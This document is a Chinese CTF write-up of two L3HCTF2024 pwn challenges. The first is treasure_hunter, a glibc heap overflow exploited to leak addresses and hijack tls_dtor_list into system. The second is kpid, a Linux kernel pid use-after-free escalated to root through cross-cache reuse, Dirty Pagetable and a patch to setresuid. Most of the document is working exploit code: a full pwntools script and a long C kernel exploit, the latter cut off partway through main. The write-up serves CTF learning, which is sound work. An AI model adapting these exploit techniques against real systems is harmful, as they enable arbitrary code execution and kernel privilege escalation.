0%

L3HCTF2024

treasure_hunter

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.6) stable release version 2.35.
1
2
3
4
5
6
treasure_hunter: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=31386191e745f7d03c572b792bd501c102ba33f3, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
You are a treasure hunter hoping to dig out as much gold as you can.
Today, you go to a desert, where as said buried many gold coins.
For more convenience, people divided this desert into pieces, each piece labelled with a number(0 to 0xFFF).
As there is limited water, you cannot dig for a long time.
Every day, you can only dig or detect one piece of this desert.
If you choose to dig, you can find all the coins in this piece (if there exists any), but in a risk of quicksand.
If you choose to detect, you can find out whether this piece is safe to dig, avoiding losing your life.
To start your exploration, I draw an incomplete map of this desert which contains danger info of some pieces.

漏洞分析

堆溢出漏洞:

1
2
3
page = malloc(size);
printf("Content: ");
len = read(0, page, size + 10);

入侵思路

题目有两处可能可以利用的打印:

1
2
if ( random_list[site] )
printf("Congratulations! we discovered %d gold coin(s)!\n", (unsigned __int8)random_list[site]);
  • 打印位于堆(mmap)上的随机数
1
2
3
4
printf(
"\x1B[1;31mHello, my boy! I'm your god. I'll give you a mysterious number, if you know how to use this number, Yo"
"u can then get a thing called flag: %p\x1B[0m",
hashmap);
  • 打印位于 BSS 的堆地址

通过伪造 hash 可以使 site 特别大,从而在 random_list 上造成溢出

下面是提取出的 hash 逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <string.h>
#include <openssl/sha.h>

int main() {
SHA256_CTX sha256;
size_t hash_buffer;
char hash_str[SHA256_DIGEST_LENGTH];
size_t hash_result;
size_t hash_result1;
size_t hash_result2;

hash_buffer = 0x7ffff7419ce0;
SHA256_Init(&sha256);
SHA256_Update(&sha256, (void *) &hash_buffer, 8);
SHA256_Final(&hash_str, &sha256);

hash_result = *(size_t*)&hash_str[0];
printf("%lx\n", hash_result);
hash_result1 = (hash_result >> 4) % 0x100000000;
printf("%lx\n", hash_result1);
hash_result2 = hash_result >> 57;
printf("%lx\n", hash_result2);

return hash_result2;
}

转化为 python 脚本:

1
2
3
4
5
6
7
8
9
10
def hash(input):
pack = struct.pack('<q', input) # 这里hash的是二进制数据
sha256 = hashlib.sha256()
sha256.update(pack)
hash_bytes = sha256.digest()
hash_int, = struct.unpack('<q', hash_bytes[:8])
output = hash_int >> 0x39
if output < 0:
output = 0x80 + output
return output

泄露样例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
site = [228,1368,3783,3182,3625,3347,349,1557,798,2864,1766,3149,2107,3684,601,1260,235]
one_gadget = [0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]

for i in range(len(site)):
sla("captain?",str(site[i]))
ru("discovered ")
gold = eval(ru(" "))
sla("some?","g")
sla("get?",str(gold))
sla("Content length:",str(0x8))
payload = b"a"
sa("Content:",payload)
sa("Buy?","n")
sa("captain?","n")

sla("captain?",str(site[0]))
sla("some?","g")
sla("Content length:",str(0x8))
payload = b"a"*0x8
sla("Content:",payload)

sa("Buy?","y")
ru("flag: ")
leak_addr = eval(ru("\x1B[1;31mI")[:-4])
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

sla("write:",str(0))
sa("Write:",str(0))
sa("captain?","n")

target = 0x3018+3
sla("captain?",str(site[0]))
sla("some?","g")
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target) + p64(0x1))*0x3f
payload += p64(heap_base+0x11ec0)+p64(heap_base+0x11ec0+0x200)+p64(heap_base+0x11ec0+0x200)
payload += p64(0x21)+p16((heap_base+0x122a0)%0x10000)
sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash.hash(target)))
sa("captain?","n")
sla("captain?",str(target))
ru("discovered ")
part_3 = eval(ru(" "))
success("part_3 >> "+hex(part_3))
sla("some?","g")
sla("get?",str(0))

target = 0x3018+4
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target) + p64(0x1))*0x3f
payload += p64(heap_base+0x11ec0)+p64(heap_base+0x11ec0+0x200)+p64(heap_base+0x11ec0+0x200)
payload += p64(0x21)+p16((heap_base+0x122a0)%0x10000)
sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash.hash(target)))
sa("captain?","n")
sla("captain?",str(target))
ru("discovered ")
part_4 = eval(ru(" "))
success("part_4 >> "+hex(part_4))
sla("some?","g")
sla("get?",str(0))

target = 0x3018+8+2
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target) + p64(0x1))*0x3f
payload += p64(heap_base+0x11ec0)+p64(heap_base+0x11ec0+0x200)+p64(heap_base+0x11ec0+0x200)
payload += p64(0x21)+p16((heap_base+0x122a0)%0x10000)
sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash.hash(target)))
sa("captain?","n")
sla("captain?",str(target))
ru("discovered ")
part_2 = eval(ru(" "))
success("part_2 >> "+hex(part_2))
sla("some?","g")
sla("get?",str(0))

target = 0x3018+8+1
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target) + p64(0x1))*0x3f
payload += p64(heap_base+0x11ec0)+p64(heap_base+0x11ec0+0x200)+p64(heap_base+0x11ec0+0x200)
payload += p64(0x21)+p16((heap_base+0x122a0)%0x10000)
sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash.hash(target)))
sa("captain?","n")
sla("captain?",str(target))
ru("discovered ")
part_1 = eval(ru(" "))
success("part_1 >> "+hex(part_1))
sla("some?","g")
sla("get?",str(0))

libc_addr = (part_1<<8)+(part_2<<16)+(part_3<<24)+(part_4<<32)+(0x7f<<40)
libc_base = libc_addr - 0x174900
success("libc_addr >> "+hex(libc_addr))
success("libc_base >> "+hex(libc_base))

接下来只能尝试劫持 tls_dtor_list_addr,但在此之前需要先泄露位于 tls 上的 key 值(全局变量名称为 __pointer_chk_guard_local

由于题目本身的限制,不能直接泄露 tls 上的 key 值,只能从其他地方泄露 key 值,全局搜索 key 值可以找到如下的地址:

1
2
3
4
5
pwndbg> search -t qword 0xfcbb79539c458355
Searching for value: b'U\x83E\x9cSy\xbb\xfc'
[anon_7fb6bbc70] 0x7fb6bbc70770 0xfcbb79539c458355
ld-linux-x86-64.so.2 0x7fb6bbce2ab0 0xfcbb79539c458355
[stack] 0x7ffc0c96a481 0xfcbb79539c458355
  • PS:该地址位于 ld 上,需要先泄露 ld 的基地址(由于 cpp 的影响,偏移不唯一但命中概率挺高的)

泄露 key 值后,尝试劫持 tls_dtor_list_addr(fs_base-0x78) 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
# -*- coding:utf-8 -*-
from pwn import *
import hashlib
import struct

arch = 64
challenge = './treasure_hunter'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"
#b += "b *$rebase(0x2D3B)\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('1.95.4.251','31778')

def debug():
gdb.attach(p,"")
#gdb.attach(p,"b *$rebase()\n")
#pause()

def cmd(op):
sla(">",str(op))

#hash = cdll.LoadLibrary('./hash.so')

#debug()

site = [228,1368,3783,3182,3625,3347,349,1557,798,2864,1766,3149,2107,3684,601,1260,235]
one_gadget = [0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]

for i in range(len(site)):
sla("captain?",str(site[i]))
ru("discovered ")
gold = eval(ru(" "))
sla("some?","g")
sla("get?",str(gold))
sla("Content length:",str(0x8))
payload = b"a"
sa("Content:",payload)
sa("Buy?","n")
sa("captain?","n")

def hash(input):
pack = struct.pack('<q', input)
sha256 = hashlib.sha256()
sha256.update(pack)
hash_bytes = sha256.digest()
hash_int, = struct.unpack('<q', hash_bytes[:8])
output = hash_int >> 0x39
if output < 0:
output = 0x80 + output
return output

sla("captain?",str(site[0]))
sla("some?","g")
sla("Content length:",str(0x8))
payload = b"a"*0x8
sla("Content:",payload)

sa("Buy?","y")
ru("flag: ")
leak_addr = eval(ru("\x1B[1;31mI")[:-4])
heap_base = leak_addr - 0x122c0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

sla("write:",str(0))
sa("Write:",str(0))
sa("captain?","n")
sla("captain?",str(site[0]))
sla("some?","g")

parts = [0,0,0,0,0,0,0,0]

def rotate_left(value,left):
re = (value << left) | (value >> (8 * 8 - left))
return re & 0xffffffffffffffff


def read(input,n):
global parts
map_start = heap_base+0x11ec0
map_end = map_start + 0x1000
map_metadata = heap_base+0x122a0

for i in range(n):
target = input+i
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target,sign=True) + p64(0x1))*0x3f
payload += p64(map_start) + p64(map_end) + p64(map_end)
payload += p64(0x21) + p16((map_metadata)%0x10000)

sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash(target)))
sa("captain?","n")
sla("captain?",str(target))
ru("discovered ")
parts[i] = eval(ru(" "))
success("input:%lx => parts[%d]=%lx",input,i,parts[i])
sla("some?","n")

def write(input,addr,n):
map_start = heap_base+0x11ec0
map_end = map_start + 0x1000
map_metadata = heap_base+0x122a0

for i in range(n):
target = input+i
sla("Content length:",str(0x408))
payload = b""
payload += (p64(target,sign=True) + p64(0x1))*0x3f
payload += p64(map_start) + p64(map_end) + p64(map_end)
payload += p64(0x21) + p16((map_metadata)%0x10000)

sa("Content:",payload)
sa("Buy?","y")
sla("write:",str(0))
sa("Write:",p8(hash(target)))
sa("captain?","n")
sla("captain?",str(target))
sla("some?","b")
sla("bury?",str((addr >> (i*8)) & 0xff))


read(0x2a58,6)
libc_addr = (parts[1]<<8)+(parts[2]<<16)+(parts[3]<<24)+(parts[4]<<32)+(parts[5]<<40)
libc_base = libc_addr - 0xa5700
success("libc_addr >> "+hex(libc_addr))
success("libc_base >> "+hex(libc_base))

sla("Content length:",str(0x8))
payload = b"a"*0x8
sla("Content:",payload)
sa("Buy?","n")

sa("captain?","n")
sla("captain?",str(0x2a58+5))
sla("some?","n")

read(0x2ab0,8)
key = (parts[0])+(parts[1]<<8)+(parts[2]<<16)+(parts[3]<<24)+(parts[4]<<32)+(parts[5]<<40)+(parts[6]<<48)+(parts[7]<<56)
success("key >> "+hex(key))

read(0x3b48,6)
ld_addr = (parts[1]<<8)+(parts[2]<<16)+(parts[3]<<24)+(parts[4]<<32)+(parts[5]<<40)
ld_base = ld_addr - 0x39e00
success("ld_addr >> "+hex(ld_addr))
success("ld_base >> "+hex(ld_base))

fs_base = ld_base - 0x11f8c0
mmap_addr = ld_base + 0x37000
tls_dtor_list_addr = fs_base - 0x78
system_libc = libc_base + libc.sym["system"]
success("fs_base >> "+hex(fs_base))
success("tls_dtor_list_addr >> "+hex(tls_dtor_list_addr))
success("mmap_addr >> "+hex(mmap_addr))
success("system_libc >> "+hex(system_libc))

write(tls_dtor_list_addr-mmap_addr,heap_base+0x128f0,6)

sla("Content length:",str(0x20))
payload = b"a"*0x10+p64(rotate_left(system_libc^key,0x11))+p64(libc_base+0x1d8678)
sa("Content:",payload)
sa("Buy?","n")
sa("captain?","y")

p.interactive()

kpid

1
Linux version 6.1.75 (hyh@uu22) (Ubuntu clang version 17.0.6 (++20231209124227+6009708b4367-1~exp1~20231209124336.77), GNU ld (GNU Binutils for Ubuntu) 2.38) #2 SMP PREEMPT_DYNAMIC
1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
qemu-system-x86_64 \
-kernel bzImage \
-cpu qemu64,+smep,+smap,+rdrand \
-m 512M \
-smp 2 \
-initrd rootfs.cpio \
-append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on page_alloc.shuffle=1 kaslr" \
-monitor /dev/null \
-nographic \
-no-reboot
  • smep,smap,kaslr,pti
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
chown -R root:root /
chmod 400 /flag.txt
chmod -R 755 /dev
chmod -R 777 /tmp

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs none /tmp
mount -t devtmpfs none /dev

exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown -R ctf:ctf /home/ctf
insmod /kpid.ko
chmod 666 /dev/kpid
chmod 666 /dev/dma_heap/system

echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
cd /home/ctf
setsid /bin/cttyhack setuidgid ctf /bin/sh

umount /proc
umount /sys
poweroff -d 0 -f

漏洞分析

1
2
3
4
memset(buf.field_28, 0, sizeof(buf.field_28));
memset(&buf, 0, 0x20);
nr = kernel_clone(&buf);
pid = find_vpid((unsigned int)nr);
  • 内核模块会调用 kernel_clone,可以将这个功能当成一个 fork

漏洞点是 pid UAF:

1
2
3
4
5
6
7
if ( dest_cnt )
{
--dest_cnt;
put_pid(pid);
return 0LL;
}
return 0xFFFFFFFFFFFFFFEALL;
  • 释放了 pid 却没有释放该进程,导致后续可以通过该进程对 UAF slab 进行修改

题目给出提示:Dirty Pagetable

在 x86-64 Linux 中,通常使用 4 级页表将虚拟地址转换为物理地址

  • Dirty Pagetable 以 PTE(页表条目)为目标,这是物理内存之前的最后一个级别
  • 在 Linux 中,当需要新的 PTE 时,PTE 的页面也会使用 Buddy 系统进行分配

受害 pid 对象的计数字段与有效的 PTE 重合

1
2
3
4
5
6
7
8
9
10
11
12
13
struct pid
{
refcount_t count; /* 指向该数据结构的引用次数 */
unsigned int level;
spinlock_t lock;
/* lists of tasks that use this pid */
struct hlist_head tasks[PIDTYPE_MAX];
struct hlist_head inodes;
/* wait queue for pidfd notifications */
wait_queue_head_t wait_pidfd;
struct rcu_head rcu;
struct upid numbers[];
};
  • count 字段是 pid 对象的第一个字段(8 字节对齐),尽管 count 字段大小为 4 个字节,但它恰好与 PTE 的较低 4 字节重合,因此我们可以通过计数器来修改 PTE
  • 由于进程中的 fd 资源有限,它最多只能添加 32768 进行计数,为了打破这个限制,我们可以利用 fork 在多个进程中执行增量原语,此操作允许我们向受害者 PTE 添加足够大的数字

我们可以通过 mmap 来快速分配大量页表:

1
2
3
4
5
6
7
8
9
10
11
void *page_spray[N_PAGESPRAY];
for (int i = 0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (page_spray[i] == MAP_FAILED) fatal("mmap");
}

for (int i = start; i < N_PAGESPRAY; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
  • Linux 内核是惰性的,当 mmap 创建内存时并不会为其绑定页表,只有在第一次读写时才会通过缺页处理来进行绑定

在某些情况下,内核空间和用户空间需要共享一些物理页面,实现的机制很多但这里选择 dma-buf 系统堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dma_heap_fd = creat("/dev/dma_heap/system", O_RDWR);;
if(dma_heap_fd == -1)
err_exit("creat");

struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("DMA_HEAP_IOCTL_ALLOC");
return -1;
}
int dma_buf_fd = data.fd;
  • 共享页面由用户空间中的 dma_buf_fd 表示,可以通过 mmap 将共享页面映射到用户空间
  • 从 dma-buf 系统堆分配的共享页面基本上是从页面分配器分配的(实际上 dma-buf 子系统调整页面池进行优化,但这在利用时不会打扰我们,所以这里不再讨论)

入侵思路

由于开启了 CONFIG_SLAB_MERGE_DEFAULT 选项,UAF 对象 pid 和普通 slab 隔离,这里需要一种 Cross Cache UAF 的技术

  • 这里使用的技术和页级堆风水实现 Cross Cache Overflow 的有所不同
  • 但利用伙伴系统回收整个页面的思路是一致的

在 free victim slab 之后,free 掉同页面其他 object,再满足一系列条件就可以让整个 page 被 buddy system 回收:

  • 目标 object 所在的 page 不是 s->cpu_slab->page
  • 目标 object 所在 page 满足 page->pobjects > (s)->cpu_partial
  • 目标 object 所在 page 位于 freelistpage.inuse 为 “0”

触发方法:(参考文章:Linux 内核利用技巧: Slab UAF to Page UAF-安全客

  • 创建一批 objects 占满 cpu_partial + 2 个 pages,保证 free 的时候 page->pobjects > (s)->cpu_partial
  • 创建 objects 占据一个新的 page,但不占满,保证 c->page 指向这个 page
  • free 掉目标 page 的所有 objects,使这个 page 的 page.inuse == 0
  • 剩下的每个 page free 一个 object 用完 partial list 后就会 free 掉目标 page

查看基本信息:

1
2
3
4
5
6
/home/ctf # cat /sys/kernel/slab/pid/object_size // 每个object的大小
112
/home/ctf # cat /sys/kernel/slab/pid/objs_per_slab // 每个slab中可容纳多少object
32
/home/ctf # cat /sys/kernel/slab/pid/cpu_partial // cpu partial list最大阈值
120
  • 可以通过 sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set)cpu_partial 降低为“8”

入侵的第一步是整理 pid slab,为此我们需要大量调用 fork 来申请足够的 pid 直到 pid slab 耗尽,进而向伙伴系统申请空间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for(int i=0;i<2*objs_per_slab;i++){ // alloc 2 pages
child_pid[i] = fork();
if(child_pid[i] < 0){
err_exit("fork");
}
else if(child_pid[i] > 0){
sleep(0.01);
continue;
}
else{
char sync;
read(normal_pipe[i][0], &sync, 1);
if (sync == 'C') {
exit(-1);
}
}
}
  • 先申请 2 个 page 大小的 pid slab

接下来可以调用内核模块的 UAF,申请剩下 cpu_partial 个 page 大小的 pid slab:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
kernel_fork();
if(pid == getpid()){ // parent
kernel_dele();

/* <----- 保证 free 的时候 page->pobjects > (s)->cpu_partial -----> */
for(int i = 2 * objs_per_slab; i < PID_NUM; i++){ // alloc cpu_partial pages
child_pid[i] = fork();
if(child_pid[i] < 0){
err_exit("fork");
}
else if(child_pid[i] > 0){
sleep(0.01);
continue;
}
else{
char sync;
read(normal_pipe[i][0], &sync, 1);
if (sync == 'C') {
exit(-1);
}
else if (sync == 'A') {
add_to_refcount(128, listensock);
while (1) sleep(1);
}
else if (sync == 'B') {
add_to_refcount(127, listensock);
while (1) sleep(1);
}
}
}
/* ------------------------------------------------------------ */

void *page_spray[N_PAGESPRAY];
for (int i = 0; i < N_PAGESPRAY; i++) {
page_spray[i] = mmap((void*)(0xdead0000UL + i*0x10000UL),
0x8000, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (page_spray[i] == MAP_FAILED)
err_exit("mmap");
}

......

}
else{ // child
char sync;
read(child_pid[0], &sync, 1);
if (sync == 'C') {
prctl(PR_SET_PDEATHSIG, SIGKILL);
/* create post-death-incrementable pid reference */
listen(listensock, 128 /*SOMAXCONN*/);
write(child_pid[1], "D", 1);
while (1) {
sleep(1);
}
}
}
  • UAF slab 将会是这些页面中的其中一个 pid
  • 这里选择使用 AF_UNIX socket 来修改 pid->count
    • 子进程开启监听
    • 父进程通过 connect 来增加 pid->count
  • 由内核模块生成的子进程将是控制 UAF slab 的关键,需要专门创建两个管道来维持父子进程的通信

接下来我们需要将 UAF pid 释放掉,并用 PTE 将其覆盖,主要就是满足 pid page 被伙伴系统回收的条件:

1
2
3
4
5
6
/* <----- free 掉目标 page 的所有 objects && 剩下的每个 page free 一个 object -----> */
for (int i = 0; i < objs_per_slab * (cpu_partial-1) + 1; i++) { // free cpu_partial-1 pages + 1 pid
sleep(0.2);
write(normal_pipe[i][1], "C", 1);
}
/* ----------------------------------------------------------------------------- */
  • 被伙伴系统回收的条件即将满足(除了最后一个 page 为半满,其他的都为空)
1
2
3
4
5
6
7
8
9
10
11
int start = 0;
for (int i = objs_per_slab * 7 + 1; i < objs_per_slab * 8; i++) {
sleep(0.2);
printf("i = %d\n",i);
write(normal_pipe[i][1], "C", 1);

for (int i = start; i < start + N_PADDINGS; i++)
for (int j = 0; j < 8; j++)
*(char*)(page_spray[i] + j*0x1000) = 'A' + j;
start += N_PADDINGS;
}
  • 接下来释放的每一个 pid 都有可能导致带有 UAF pid 的 page 被伙伴系统回收
  • 我们需要一边释放一边用 PTE 来占用 UAF pid

现在可控的 UAF pid 已经被某个 PTE 占据,我们可以先用增量原语修改这个 PTE 条目,然后将命中的 PTE 堆喷出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (int i = objs_per_slab * 8; i < objs_per_slab * 9 - 1; i++) { // 128*31 + 127 = 4095
sleep(0.2);
write(normal_pipe[i][1], "A", 1);
}
sleep(0.2);
write(normal_pipe[(objs_per_slab * 9 - 1)][1], "B", 1);

sleep(1);

void *evil = NULL;
for (int i = 0; i < N_PAGESPRAY; i++) {
//print_hex(page_spray[i],8);
if (*(char*)(page_spray[i]) != 'A') {
evil = page_spray[i];
printf("Found overlapping page: %p\n", evil);
break;
}
}
if (evil == NULL)
err_exit("target not found :(");

使用 munmap 释放 PTE,然后用 dma-buf 占据 UAF pid:

1
2
3
4
5
6
7
8
9
10
11
munmap(evil, 0x1000);
void *dmabuf = mmap(evil, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, dma_data_fd, 0);
*(char*)dmabuf = '0';

for (int i = objs_per_slab * 9 ; i < objs_per_slab * 10; i++) { // 128*32 = 4096
sleep(0.2);
write(normal_pipe[i][1], "A", 1);
}

sleep(1);
printf("DMA-BUF now points to PTE: 0x%lx\n", *(size_t*)dmabuf);

如果我们执行增量原语,将 0x1000、0x2000、0x3000 等添加到受害者 PTE 中,我们将有很大的机会使受害者 PTE 与用户页表相关联:

1711709601881

  • 通过增量使 victim PTE 索引到另一个 PTE
  • 该 PTE 极有可能为 page_spray[i] 中某个页面的页表项

通过 victim PTE 修改页表项为内核代码段的页表项,堆喷并泄露数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
char *victim_ptable = NULL;
*(size_t*)dmabuf = 0x800000000009c067;
for (int i = 0; i < N_PAGESPRAY; i++) {
if (page_spray[i] == evil) continue;
if (*(size_t*)page_spray[i] > 0xffff) {
victim_ptable = page_spray[i];
printf("Found victim page table: %p\n", victim_ptable);
break;
}
}

size_t phys_base = ((*(size_t*)victim_ptable) & ~0xfff) - PHYSICAL_OFFSET;
printf("Physical kernel base address: 0x%lx\n", phys_base);

最后调整好偏移,修改 setresuid 函数的权限检查逻辑即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
#include <ctype.h>
#include <sys/un.h>

#include "kernelpwn.h"

#define STARTUP_64 (0xffffffff81000000UL)
#define __SYS_SETRESUID_OFF (0xffffffff81096ac0 - STARTUP_64) // __sys_setresuid -- 0xffffffff81096ac0
#define PATCH_JNE_OFFSET (0xffffffff81096bfd + 1 - STARTUP_64 - __SYS_SETRESUID_OFF) // je: 0x0f, 0x84

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
#define PHYSICAL_OFFSET 0x1c04000

#define object_size 112
#define objs_per_slab 32
#define cpu_partial 8

int fd;
int dma_heap_fd;
int dma_data_fd;
int listensock;
int pid;

struct argg {
char* buf;
};

void kernel_fork()
{
struct argg arg = { .buf = 0};
ioctl(fd, 0x47001, &arg);
}

void kernel_dele()
{
struct argg arg = { .buf = 0 };
ioctl(fd, 0x69003, &arg);
}

void kernel_show(char* buf)
{
struct argg arg = { .buf = buf };
ioctl(fd, 0x58002, &arg);
}

struct sockaddr_un unix_addr = {
.sun_family = AF_UNIX,
.sun_path = "/tmp/exploitsocket"};

int init_socket(){
listensock = socket(AF_UNIX, SOCK_STREAM, 0);
unlink(unix_addr.sun_path);
bind(listensock, (struct sockaddr *)&unix_addr, sizeof(unix_addr));
}

void add_to_refcount(int count, int listensock)
{
for (int i = 0; i < count; i++) {
// logd("Adding to refcount: %", i);
int refsock = socket(AF_UNIX, SOCK_STREAM, 0);
connect(refsock, (struct sockaddr *)&unix_addr, sizeof(unix_addr));
accept(listensock, NULL, NULL);
}
}

struct dma_heap_allocation_data {
uint64_t len;
uint32_t fd;
uint32_t fd_flags;
uint64_t heap_flags;
};

int init_dma_buf(){
dma_heap_fd = creat("/dev/dma_heap/system", O_RDWR);;
if(dma_heap_fd == -1)
err_exit("creat");

struct dma_heap_allocation_data data;
data.len = 0x1000;
data.fd_flags = O_RDWR;
data.heap_flags = 0;
data.fd = 0;

if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
perror("DMA_HEAP_IOCTL_ALLOC");
return -1;
}
return data.fd;
}

#define PID_NUM ((cpu_partial+2) * objs_per_slab) // 占满 cpu_partial + 2 个 pages
#define N_PADDINGS (objs_per_slab * 6)
#define N_PAGESPRAY (N_PADDINGS * 20 * 2)

int child_pid[PID_NUM];
int parent_pipe[2];
int child_pipe[2];
int normal_pipe[PID_NUM][2];

int init_pipe(){
pipe(parent_pipe); // parent
pipe(child_pipe); // child
for(int i = 0; i < PID_NUM; i++){
if(pipe(normal_pipe[i]) == -1){
err_exit("pipe");
}
}
}

int main(int argc, char** argv, char** envp)
{
bind_core(0);

fd = open("/dev/kpid", O_RDWR);
if(fd == -1)
err_exit("open");

init_pipe();
init_socket();

struct sigaction act;
act.sa_handler = SIG_IGN;
sigemptyset(&act.sa_mask);
act.sa_flags = SA_NOCLDWAIT;
sigaction(SIGCHLD, &act, NULL);

pid = getpid();

for(int i=0; i < 2 * objs_per_slab; i++){ // alloc 2 pages
child_pid[i] = fork();
if(child_pid[i] < 0){
err_exit("fork");
}
else if(child_pid[i] > 0){
sleep(0.01);
continue;
}
else{
char sync;
read(normal_pipe[i][0], &sync, 1);
if (sync == 'C') {
exit(-1);
}
}
}

kernel_fork();
if(pid == getpid()){ // parent
kernel_dele();

